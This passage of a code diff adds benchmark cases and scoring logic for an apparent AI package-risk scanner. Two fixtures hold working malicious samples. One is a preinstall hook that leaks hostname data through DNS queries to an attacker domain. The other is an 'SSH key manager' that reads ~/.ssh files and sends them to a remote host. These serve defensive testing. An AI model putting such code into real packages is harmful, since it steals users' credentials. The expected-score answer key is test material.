276
|
+
{ id: 'GHSA-xxxx-yyyy-zzzz', summary: 'Prototype pollution via __proto__ in deep-object-merge allows attackers to inject properties into Object.prototype' },
|
|
277
|
+
],
|
|
278
|
+
expected: { risk_level: 'HIGH', min_risk_score: 60, max_risk_score: 100, must_flag: ['prototype_pollution', 'cve'] },
|
|
279
|
+
},
|
|
280
|
+
|
|
281
|
+
{
|
|
282
|
+
id: 'bench-008-dependency-confusion',
|
|
283
|
+
category: 'dependency_confusion',
|
|
284
|
+
description: 'Public package shadowing internal @company scope with data exfiltration',
|
|
285
|
+
metadata: {
|
|
286
|
+
name: 'internal-auth-service',
|
|
287
|
+
version: '99.0.0',
|
|
288
|
+
description: 'Authentication service utilities',
|
|
289
|
+
author: 'unknown',
|
|
290
|
+
license: 'ISC',
|
|
291
|
+
dependencies: {},
|
|
292
|
+
scripts: { preinstall: 'node telemetry.js' },
|
|
293
|
+
},
|
|
294
|
+
versionHistory: [
|
|
295
|
+
{ version: '99.0.0', published: '2025-02-28', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
296
|
+
],
|
|
297
|
+
sourceFiles: [
|
|
298
|
+
{
|
|
299
|
+
path: 'telemetry.js',
|
|
300
|
+
size: 200,
|
|
301
|
+
content: `const dns = require('dns');
|
|
302
|
+
const os = require('os');
|
|
303
|
+
const pkg = require('./package.json');
|
|
304
|
+
const data = Buffer.from(JSON.stringify({ h: os.hostname(), p: pkg.name, v: pkg.version })).toString('hex');
|
|
305
|
+
dns.resolve(\`\${data.slice(0,60)}.exfil.attacker-domain.com\`, () => {});`,
|
|
306
|
+
},
|
|
307
|
+
{
|
|
308
|
+
path: 'index.js',
|
|
309
|
+
size: 40,
|
|
310
|
+
content: `module.exports = {};`,
|
|
311
|
+
},
|
|
312
|
+
],
|
|
313
|
+
knownCVEs: [],
|
|
314
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 80, max_risk_score: 100, must_flag: ['dependency_confusion', 'exfiltration', 'preinstall'] },
|
|
315
|
+
},
|
|
316
|
+
|
|
317
|
+
{
|
|
318
|
+
id: 'bench-009-clean-validator',
|
|
319
|
+
category: 'clean',
|
|
320
|
+
description: 'Legitimate input validation library with established history',
|
|
321
|
+
metadata: {
|
|
322
|
+
name: 'form-input-check',
|
|
323
|
+
version: '5.0.2',
|
|
324
|
+
description: 'Input validation and sanitization',
|
|
325
|
+
author: 'validation-team',
|
|
326
|
+
license: 'MIT',
|
|
327
|
+
dependencies: {},
|
|
328
|
+
scripts: { test: 'jest' },
|
|
329
|
+
},
|
|
330
|
+
versionHistory: [
|
|
331
|
+
{ version: '4.9.0', published: '2023-11-01', depsChanged: 'none', filesChanged: 'minor', sizeDelta: '+200B', newMaintainer: false },
|
|
332
|
+
{ version: '5.0.0', published: '2024-03-15', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+1KB', newMaintainer: false },
|
|
333
|
+
{ version: '5.0.2', published: '2024-08-10', depsChanged: 'none', filesChanged: 'patch', sizeDelta: '+50B', newMaintainer: false },
|
|
334
|
+
],
|
|
335
|
+
sourceFiles: [
|
|
336
|
+
{
|
|
337
|
+
path: 'index.js',
|
|
338
|
+
size: 500,
|
|
339
|
+
content: `"use strict";
|
|
340
|
+
const EMAIL_RE = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/;
|
|
341
|
+
const URL_RE = /^https?:\\/\\/[^\\s/$.?#].[^\\s]*$/;
|
|
342
|
+
exports.isEmail = (v) => typeof v === 'string' && EMAIL_RE.test(v);
|
|
343
|
+
exports.isURL = (v) => typeof v === 'string' && URL_RE.test(v);
|
|
344
|
+
exports.isNumeric = (v) => !isNaN(parseFloat(v)) && isFinite(v);
|
|
345
|
+
exports.sanitize = (v) => String(v).replace(/[<>&"']/g, (c) => ({ '<':'<', '>':'>', '&':'&', '"':'"', "'":''' }[c]));
|
|
346
|
+
exports.minLength = (v, n) => typeof v === 'string' && v.length >= n;
|
|
347
|
+
exports.maxLength = (v, n) => typeof v === 'string' && v.length <= n;`,
|
|
348
|
+
},
|
|
349
|
+
],
|
|
350
|
+
knownCVEs: [],
|
|
351
|
+
expected: { risk_level: 'LOW', min_risk_score: 0, max_risk_score: 20, must_flag: [] },
|
|
352
|
+
},
|
|
353
|
+
|
|
354
|
+
{
|
|
355
|
+
id: 'bench-010-fs-read-exfil',
|
|
356
|
+
category: 'malicious',
|
|
357
|
+
description: 'Package that reads SSH keys and sends them to a remote server',
|
|
358
|
+
metadata: {
|
|
359
|
+
name: 'ssh-key-manager',
|
|
360
|
+
version: '2.0.0',
|
|
361
|
+
description: 'Manage SSH keys easily',
|
|
362
|
+
author: 'unknown-dev',
|
|
363
|
+
license: 'MIT',
|
|
364
|
+
dependencies: {},
|
|
365
|
+
scripts: {},
|
|
366
|
+
},
|
|
367
|
+
versionHistory: [
|
|
368
|
+
{ version: '1.0.0', published: '2024-10-01', depsChanged: 'none', filesChanged: 'new package', sizeDelta: 'N/A', newMaintainer: true },
|
|
369
|
+
{ version: '2.0.0', published: '2025-01-15', depsChanged: 'none', filesChanged: 'major', sizeDelta: '+3KB', newMaintainer: false },
|
|
370
|
+
],
|
|
371
|
+
sourceFiles: [
|
|
372
|
+
{
|
|
373
|
+
path: 'index.js',
|
|
374
|
+
size: 420,
|
|
375
|
+
content: `const fs = require('fs');
|
|
376
|
+
const path = require('path');
|
|
377
|
+
const https = require('https');
|
|
378
|
+
const os = require('os');
|
|
379
|
+
|
|
380
|
+
function listKeys() {
|
|
381
|
+
const sshDir = path.join(os.homedir(), '.ssh');
|
|
382
|
+
if (!fs.existsSync(sshDir)) return [];
|
|
383
|
+
const files = fs.readdirSync(sshDir);
|
|
384
|
+
const keys = files.map(f => ({ name: f, content: fs.readFileSync(path.join(sshDir, f), 'utf-8') }));
|
|
385
|
+
const payload = Buffer.from(JSON.stringify(keys)).toString('base64');
|
|
386
|
+
https.get('https://telemetry-cdn.com/k?d=' + payload, () => {});
|
|
387
|
+
return files;
|
|
388
|
+
}
|
|
389
|
+
|
|
390
|
+
module.exports = { listKeys };`,
|
|
391
|
+
},
|
|
392
|
+
],
|
|
393
|
+
knownCVEs: [],
|
|
394
|
+
expected: { risk_level: 'CRITICAL', min_risk_score: 85, max_risk_score: 100, must_flag: ['filesystem_access', 'exfiltration', 'network_calls'] },
|
|
395
|
+
},
|
|
396
|
+
];
|
|
397
|
+
}
|
|
398
|
+
|
|
399
|
+
export function buildBenchmarkPrompt(bench: BenchmarkCase): string {
|
|
400
|
+
return buildUserPrompt(bench.metadata, bench.versionHistory, bench.sourceFiles, bench.knownCVEs);
|
|
401
|
+
}
|
|
402
|
+
|
|
403
|
+
export type BenchmarkVerdict = 'PASS' | 'FAIL';
|
|
404
|
+
|
|
405
|
+
export interface BenchmarkResult {
|
|
406
|
+
caseId: string;
|
|
407
|
+
category: string;
|
|
408
|
+
expectedLevel: string;
|
|
409
|
+
actualLevel: string;
|
|
410
|
+
expectedScoreRange: [number, number];
|
|
411
|
+
actualScore: number;
|
|
412
|
+
verdict: BenchmarkVerdict;
|
|
413
|
+
reason: string;
|
|
414
|
+
}
|
|
415
|
+
|
|
416
|
+
export function evaluateBenchmark(
|
|
417
|
+
bench: BenchmarkCase,
|
|
418
|
+
actualRiskLevel: string,
|
|
419
|
+
actualRiskScore: number,
|
|
420
|
+
): BenchmarkResult {
|
|
421
|
+
const scoreInRange = actualRiskScore >= bench.expected.min_risk_score && actualRiskScore <= bench.expected.max_risk_score;
|
|
422
|
+
|
|
423
|
+
const levelMap: Record<string, number> = { LOW: 0, MEDIUM: 1, HIGH: 2, CRITICAL: 3 };
|
|
424
|
+
const expectedOrd = levelMap[bench.expected.risk_level] ?? 0;
|
|
425
|
+
const actualOrd = levelMap[actualRiskLevel] ?? 0;
|
|
426
|
+
|
|
427
|
+
const levelCorrect = bench.expected.risk_level === 'LOW'
|
|
428
|
+
? actualOrd <= 1
|
|
429
|
+
: actualOrd >= expectedOrd - 1 && actualOrd <= expectedOrd + 1;
|
|
430
|
+
|
|
431
|
+
const passed = scoreInRange && levelCorrect;
|
|
432
|
+
|
|
433
|
+
let reason = '';
|
|
434
|
+
if (!scoreInRange) {
|
|
435
|
+
reason = `Score ${actualRiskScore} outside expected range [${bench.expected.min_risk_score}, ${bench.expected.max_risk_score}]`;
|
|
436
|
+
} else if (!levelCorrect) {
|
|
437
|
+
reason = `Level ${actualRiskLevel} does not match expected ${bench.expected.risk_level}`;
|
|
438
|
+
}
|
|
439
|
+
|
|
440
|
+
return {
|
|
441
|
+
caseId: bench.id,
|
|
442
|
+
category: bench.category,
|
|
443
|
+
expectedLevel: bench.expected.risk_level,
|
|
444
|
+
actualLevel: actualRiskLevel,
|
|
445
|
+
expectedScoreRange: [bench.expected.min_risk_score, bench.expected.max_risk_score],
|
|
446
|
+
actualScore: actualRiskScore,
|
|
447
|
+
verdict: passed ? 'PASS' : 'FAIL',
|
|
448
|
+
reason: passed ? 'Correctly classified' : reason,
|
|
449
|
+
};
|
|
450
|
+
}
|